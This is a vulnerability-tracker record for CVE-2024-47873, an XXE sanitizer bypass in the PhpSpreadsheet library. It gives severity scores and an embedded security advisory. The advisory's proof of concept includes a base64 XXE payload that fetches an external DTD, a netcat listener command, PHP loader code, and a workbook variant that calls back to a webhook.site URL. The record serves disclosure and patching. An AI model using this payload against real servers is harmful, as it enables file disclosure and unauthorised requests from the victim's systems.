CVE-2024-47873

highpriority · track · 30EPSS 0.008 · 55 %ileEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.76% (55th) EPSS
CVSS 7.5 · high
Is it mine?
13 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · nvd · osv

EPSS · scored 2026-10-27

PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. The XmlScanner class has a scan method which should prevent XXE attacks. However, prior to versions 1.9.4, 2.1.3, 2.3.2, and 3.4.0, the regexes used in the `scan` method and the findCharSet method can be bypassed by using UCS-4 and encoding guessing. An attacker can bypass the sanitizer and achieve an XML external entity attack. Versions 1.9.4, 2.1.3, 2.3.2, and 3.4.0 fix the issue.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.5
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.9–7.5

v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nprimary · NVD / NIST USexploitability 3.9 · impact 3.6
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nsecondary · ENISA EU
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nsecondary · security-advisories@github.comexploitability 3.9 · impact 3.6
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nsecondary · OSV
v3.16.9mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (13)

Products and version ranges known to be affected.

05

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-jw4x-v69f-hh5wXmlScanner bypass leads to XXE2024-11-18ghsa · osvUS

    ### Summary The [XmlScanner class](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php) has a [scan](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L72) method which should prevent XXE attacks. However, the regexes used in the `scan` method and the [findCharSet](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L51) method can be bypassed by using UCS-4 and encoding guessing as described in <https://www.w3.org/TR/xml/#sec-guessing-no-ext-info>. ### Details The `scan` method converts the input in the UTF-8 encoding if it is not already in the UTF-8 encoding with the [`toUtf8` method](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L76). Then, the `scan` method uses a [regex](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L79) which would also work with 16-bit encoding. However, the regexes from the [findCharSet](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L51) method, which is used for determining the current encoding can be bypassed by using an encoding which has more than 8 bits, since the regex does not expect null bytes, and the XML library will also autodetect the encoding as described in <https://www.w3.org/TR/xml/#sec-guessing-no-ext-info>. A payload for the `workbook.xml` file can for example be created with [CyberChef](https://gchq.github.io/CyberChef/#recipe=Encode_text('UTF-32BE%20(12001)')&input=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2IiBzdGFuZGFsb25lPSJ5ZXMiPz4KPCFET0NUWVBFIG1lc3NhZ2UgWwogICAgPCFFTlRJVFkgJSBleHQgU1lTVEVNICJodHRwOi8vMTI3LjAuMC4xOjEyMzQ1L2V4dC5kdGQiPgogICAgJWV4dDsKXT4KPHdvcmtib29rIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5vcGVueG1sZm9ybWF0cy5vcmcvc3ByZWFkc2hlZXRtbC8yMDA2L21haW4iIHhtbG5zOnI9Imh0dHA6Ly9zY2hlbWFzLm9wZW54bWxmb3JtYXRzLm9yZy9vZmZpY2VEb2N1bWVudC8yMDA2L3JlbGF0aW9uc2hpcHMiPjxmaWxlVmVyc2lvbiBhcHBOYW1lPSJDYWxjIi8%2BPHdvcmtib29rUHIgYmFja3VwRmlsZT0iZmFsc2UiIHNob3dPYmplY3RzPSJhbGwiIGRhdGUxOTA0PSJmYWxzZSIvPjx3b3JrYm9va1Byb3RlY3Rpb24vPjxib29rVmlld3M%2BPHdvcmtib29rVmlldyBzaG93SG9yaXpvbnRhbFNjcm9sbD0idHJ1ZSIgc2hvd1ZlcnRpY2FsU2Nyb2xsPSJ0cnVlIiBzaG93U2hlZXRUYWJzPSJ0cnVlIiB4V2luZG93PSIwIiB5V2luZG93PSIwIiB3aW5kb3dXaWR0aD0iMTYzODQiIHdpbmRvd0hlaWdodD0iODE5MiIgdGFiUmF0aW89IjUwMCIgZmlyc3RTaGVldD0iMCIgYWN0aXZlVGFiPSIwIi8%2BPC9ib29rVmlld3M%2BPHNoZWV0cz48c2hlZXQgbmFtZT0iU2hlZXQxIiBzaGVldElkPSIxIiBzdGF0ZT0idmlzaWJsZSIgcjppZD0icklkMiIvPjwvc2hlZXRzPjxjYWxjUHIgaXRlcmF0ZUNvdW50PSIxMDAiIHJlZk1vZGU9IkExIiBpdGVyYXRlPSJmYWxzZSIgaXRlcmF0ZURlbHRhPSIwLjAwMSIvPjxleHRMc3Q%2BPGV4dCB4bWxuczpsb2V4dD0iaHR0cDovL3NjaGVtYXMubGlicmVvZmZpY2Uub3JnLyIgdXJpPSJ7NzYyNkM4NjItMkExMy0xMUU1LUIzNDUtRkVGRjgxOUNEQzlGfSI%2BPGxvZXh0OmV4dENhbGNQciBzdHJpbmdSZWZTeW50YXg9IkNhbGNBMSIvPjwvZXh0PjwvZXh0THN0Pjwvd29ya2Jvb2s%2B.). If you open an Excel file containing the payload from the link above stored in the `workbook.xml` file with PhpSpreadsheet, you will receive an HTTP request on `127.0.0.1:12345`. You can test that an HTTP request is created by running the `nc -nlvp 12345` command before opening the file containing the payload with PhpSpreadsheet. ### PoC - Create a new folder. - Run the `composer require phpoffice/phpspreadsheet` command in the new folder. - Create an `index.php` file in that folder with the following content: ```PHP <?php require 'vendor/autoload.php'; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Xlsx; $spreadsheet = new Spreadsheet(); $inputFileType = 'Xlsx'; $inputFileName = './payload.xlsx'; /** Create a new Reader of the type defined in $inputFileType **/ $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType); /** Advise the Reader that we only want to load cell data **/ $reader->setReadDataOnly(true); $worksheetData = $reader->listWorksheetInfo($inputFileName); foreach ($worksheetData as $worksheet) { $sheetName = $worksheet['worksheetName']; echo "<h4>$sheetName</h4>"; /** Load $inputFileName to a Spreadsheet Object **/ $reader->setLoadSheetsOnly($sheetName); $spreadsheet = $reader->load($inputFileName); $worksheet = $spreadsheet->getActiveSheet(); print_r($worksheet->toArray()); } ``` - Run the following command: `php -S 127.0.0.1:8080` - Add the [payload.xlsx](https://github.com/user-attachments/files/17334157/payload.xlsx) file, which contains a payload similar to the payload from the details section, but with the URL `https://webhook.site/65744200-63d2-43a2-a6a0-cca8d6b0d50a` instead of the `http://127.0.0.1:12345/ext.dtd` URL, in the folder and open <https://127.0.0.1:8080> in a browser. You will see an HTTP request on <https://webhook.site/#!/view/65744200-63d2-43a2-a6a0-cca8d6b0d50a>. ### Impact An attacker can bypass the sanitizer and achieve an [XXE attack](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing).

06

also known as (3)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2024-11-18modified 2026-06-17
08

references (12)

External citations — patches, advisories, analysis.

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